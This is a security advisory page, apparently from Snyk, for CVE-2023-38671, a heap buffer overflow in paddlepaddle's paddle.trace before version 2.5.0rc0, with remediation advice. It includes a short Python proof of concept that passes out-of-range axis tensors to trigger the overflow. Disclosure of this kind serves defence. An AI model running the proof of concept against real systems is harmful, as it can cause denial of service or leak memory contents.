Heap-based Buffer Overflow Affecting paddlepaddle package, versions [,2.5.0rc0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.25% (65th percentile)

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  • Snyk IDSNYK-PYTHON-PADDLEPADDLE-5807395
  • published26 Jul 2023
  • disclosed26 Jul 2023
  • creditTong Liu

Introduced: 26 Jul 2023

CVE-2023-38671  (opens in a new tab)
CWE-122  (opens in a new tab)

How to fix?

Upgrade paddlepaddle to version 2.5.0rc0 or higher.

Overview

paddlepaddle is a Parallel Distributed Deep Learning

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in paddle.trace, which can lead to denial of service, information disclosure, or other impacts.

PoC

import paddle
import numpy as np
from paddle import trace

x = paddle.to_tensor(np.random.uniform(-10, 10, [2, 2, 2]).astype(np.float64))
offset = paddle.to_tensor(np.random.uniform(-10, 10, []).astype(np.int32))
axis1 = paddle.to_tensor(np.random.uniform(-6666666, -2, []).astype(np.int32))
axis2 = paddle.to_tensor(np.random.uniform(-6666666, -2, []).astype(np.int32))

trace(x, offset, axis1, axis2)

CVSS Scores

version 3.1